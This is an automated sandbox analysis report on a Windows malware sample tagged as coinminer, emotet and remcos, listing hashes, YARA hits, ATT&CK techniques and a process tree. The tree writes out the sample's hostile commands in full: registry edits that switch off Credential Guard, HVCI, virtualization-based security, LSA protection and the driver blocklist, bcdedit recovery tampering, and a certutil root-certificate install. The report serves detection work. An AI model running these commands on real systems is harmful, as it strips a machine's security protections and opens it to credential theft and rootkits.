da15473dfd55518b17cc8701a4e1a11dcf8f49341733dd91a2689f9ab807a09e

Analysis

max time kernel
20s
max time network
23s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 06:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
Size 2.8MB
Sample260809-g3ya5ssckd
SHA256 da15473dfd55518b17cc8701a4e1a11dcf8f49341733dd91a2689f9ab807a09e
MD5 ffa5637f2d205dddd11896c98e8d4b9d
SHA1 8833b2c776c50aad95843ecd2d54e33156f7423d
SHA512 4f163f29845bc3edc42174388196781e1d39ace8bbe1f54793c0da679e735c677167d3304d37df4dcf8aef02f51c1b988d21550411ec94b5c8babd176b5484a2
SSDEEP 24576:7vxb/+uUAOWLTITR0qnil4LdJYGtJEmZjyGFslcuRyBlOSC4QdcifR+xb81xRfrq:7vOiTCKqfdJfheGFS2U1dN5OWF8IX5SP
TLSH
T132D5AC13E292A0E1D22E15705672577DEAF17E210B21FBD7AFD4FD602D362D1A23B209
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery evasion execution persistence ransomware

Malware Config

Signatures

Detects executables referencing many IR and analysis tools 16 IoCs

resource	yara_rule
behavioral1/memory/816-12-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x00070000000245c5-8.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-13-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-5-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-11-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-17-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-18-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-19-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-20-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-22-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-29-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-40-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-41-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-39-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-42-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/816-45-0x0000000000400000-0x000000000071B000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3648	bcdedit.exe
4256	bcdedit.exe
4876	bcdedit.exe

UPX dump on OEP (original entry point) 15 IoCs

resource	yara_rule
behavioral1/memory/816-12-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-13-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-5-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-11-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-17-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-18-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-19-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-20-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-22-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-29-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-40-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-41-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-39-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-42-0x0000000000400000-0x000000000071B000-memory.dmp	UPX
behavioral1/memory/816-45-0x0000000000400000-0x000000000071B000-memory.dmp	UPX

Installs a root certificate to the trusted certificate store 1 TTPs 2 IoCs

A root certificate was added to the trusted certificate store using CertUtil.

defense_evasion

Install Root Certificate

T1553.004

pid	Process
2196	cmd.exe
4252	certutil.exe

Manipulates Digital Signatures 1 TTPs 1 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\43DBB0D8926FEBC69B7663673161BC063ED10E04\Blob = 03000000010000001400000043dbb0d8926febc69b7663673161bc063ed10e0420000000010000001803000030820314308201fca003020102021057f22d200fedd2a646700c9ac5bfb563300d06092a864886f70d01010b050030163114301206035504030c0b57444b5465737443657274301e170d3236303533303231333735385a170d3336303533303231343735385a30163114301206035504030c0b57444b546573744365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb22151c5ed381ba1ca5d23d08543311f9eaa57b2af57911066d53e3ede87aa5b3f6e0b9aa5f054b68c2b559276e0998b8d01ef9ebb3b17326c2a3d23d0e1e6d13071bbd417b948db4b57308089c2e473952189376da210cdfd9aaa9b12b5762953c65b4834801996de86f85b2f91e9d1984cf488e690d42cf9e7ba15f12538c98a8baac5258c4f39a8beb44976d6e3f3ecb5966b990ea667dd4ed3bf6adf5e1a2f4b8356c819352747ee7fdbcd25202a82398df383668f939971c1b7150f9576eede0cfb3eea50464e7e8fb19cd9dd3c99efe5c4fc176e4c8855d4269fc649cf194916458797fdf63e6599a51d40260c900906a4eab95ae5d083c2f9962a7310203010001a35e305c300e0603551d0f0101ff040403020780302b0603551d250424302206082b06010505070303060a2b0601040182370a0305060a2b0601040182373d0101301d0603551d0e0416041415f59026fd3b5de62dca6813ea552d7344dbfaed300d06092a864886f70d01010b050003820101002614d970ce546514bb87c5088985e02b5132049872095c127a118a177ccd741532f0983f3b76090f5787f95ac45e808cf417b1e425f0f950627840010a63fa18331a4ebf53d4fd07828e7babeb25bb08fb5ae18336de0524a576f91edb486eab108347fc80f5b200af6830cf2652cd513bcb66ca6c241d7033c57de76bf1272d1737cece5bccffc5cc526f6ae26cb6a0dd1e8b974953f08aec4cacd9a807ddab182eeaa9558dc5bf8ff958fe738188b3d6360aace1b11eda3cc4904db15f4af5de9018410c9048da687dc83e63496d81f566963158f8f7617e3e94a42170b4c98e66df36c5c232c2e338ed49e6c9d83fdfd994e0025e52dc59fc1cc8a567f23f	certutil.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	reg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\longdiequdong1\ImagePath = "\\??\\C:\\Windows\\Temp\\longdiequdong1.sys"	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

persistence credential_access

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe

Executes dropped EXE 1 IoCs

pid	Process
4536	SignGuiPatcher.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
404	cmd.exe
4092	cmd.exe
4352	cmd.exe
2744	cmd.exe
4532	cmd.exe
5112	cmd.exe
2932	cmd.exe
220	cmd.exe
4376	cmd.exe
4028	cmd.exe
3440	cmd.exe
744	cmd.exe
3136	cmd.exe
1568	cmd.exe
4668	cmd.exe
472	cmd.exe
4408	cmd.exe
4972	cmd.exe
5008	cmd.exe
3640	cmd.exe
388	cmd.exe
1668	cmd.exe
1828	cmd.exe
3940	cmd.exe
3864	cmd.exe
3424	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "64"	LogonUI.exe

Modifies registry key 1 TTPs 17 IoCs

Modify Registry

T1112

pid	Process
4120	reg.exe
1576	reg.exe
1788	reg.exe
3428	reg.exe
3016	reg.exe
2260	reg.exe
4892	reg.exe
684	reg.exe
2776	reg.exe
1276	reg.exe
4952	reg.exe
1376	reg.exe
3100	reg.exe
4720	reg.exe
2444	reg.exe
4312	reg.exe
4184	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4536	SignGuiPatcher.exe
4536	SignGuiPatcher.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
664	Process not Found
664	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	SignGuiPatcher.exe
Token: SeImpersonatePrivilege	4536	SignGuiPatcher.exe
Token: SeDebugPrivilege	4536	SignGuiPatcher.exe
Token: SeShutdownPrivilege	2948	shutdown.exe
Token: SeRemoteShutdownPrivilege	2948	shutdown.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
1276	LogonUI.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 1828	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	85
PID 1828 wrote to memory of 744	1828	cmd.exe	87
PID 744 wrote to memory of 3284	744	cmd.exe	88
PID 816 wrote to memory of 4532	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	91
PID 4532 wrote to memory of 1276	4532	cmd.exe	93
PID 816 wrote to memory of 3136	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	94
PID 3136 wrote to memory of 4952	3136	cmd.exe	96
PID 816 wrote to memory of 5112	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	97
PID 5112 wrote to memory of 3100	5112	cmd.exe	99
PID 816 wrote to memory of 2932	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	100
PID 2932 wrote to memory of 4720	2932	cmd.exe	102
PID 816 wrote to memory of 3940	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	103
PID 3940 wrote to memory of 1376	3940	cmd.exe	105
PID 816 wrote to memory of 220	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	106
PID 220 wrote to memory of 2260	220	cmd.exe	108
PID 816 wrote to memory of 1568	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	109
PID 1568 wrote to memory of 4120	1568	cmd.exe	111
PID 816 wrote to memory of 3864	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	112
PID 3864 wrote to memory of 1576	3864	cmd.exe	114
PID 816 wrote to memory of 3424	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	115
PID 3424 wrote to memory of 1788	3424	cmd.exe	117
PID 816 wrote to memory of 4668	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	118
PID 4668 wrote to memory of 4892	4668	cmd.exe	121
PID 816 wrote to memory of 472	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	122
PID 472 wrote to memory of 3428	472	cmd.exe	124
PID 816 wrote to memory of 4376	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	125
PID 4376 wrote to memory of 684	4376	cmd.exe	127
PID 816 wrote to memory of 5008	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	128
PID 5008 wrote to memory of 3016	5008	cmd.exe	130
PID 816 wrote to memory of 404	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	131
PID 404 wrote to memory of 4184	404	cmd.exe	133
PID 816 wrote to memory of 4028	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	134
PID 4028 wrote to memory of 2444	4028	cmd.exe	136
PID 816 wrote to memory of 3640	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	137
PID 3640 wrote to memory of 2776	3640	cmd.exe	139
PID 816 wrote to memory of 388	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	140
PID 388 wrote to memory of 4312	388	cmd.exe	142
PID 816 wrote to memory of 4092	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	143
PID 4092 wrote to memory of 4408	4092	cmd.exe	145
PID 816 wrote to memory of 4972	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	146
PID 4972 wrote to memory of 3648	4972	cmd.exe	148
PID 816 wrote to memory of 4352	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	149
PID 4352 wrote to memory of 4256	4352	cmd.exe	151
PID 816 wrote to memory of 2744	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	152
PID 2744 wrote to memory of 4876	2744	cmd.exe	154
PID 816 wrote to memory of 2196	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	155
PID 2196 wrote to memory of 4252	2196	cmd.exe	157
PID 816 wrote to memory of 1668	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	158
PID 1668 wrote to memory of 1984	1668	cmd.exe	160
PID 816 wrote to memory of 4536	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	161
PID 816 wrote to memory of 3440	816	2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe	162
PID 3440 wrote to memory of 2948	3440	cmd.exe	164

C:\Users\Admin\AppData\Local\Temp\2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_ffa5637f2d205dddd11896c98e8d4b9d_coinminer_elex_emotet_glassworm_remcos.exe"
1⤵
- Sets service image path in registry
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:816
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240667250_57448.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240667250_57448.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:744
  - - C:\Windows\system32\manage-bde.exe
      C:\Windows\Sysnative\manage-bde.exe -status C: -protectionaserrorlevel
      4⤵
      PID:3284
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4532
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1276
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4952
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3100
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4720
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1376
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2260
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4120
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1576
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3424
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
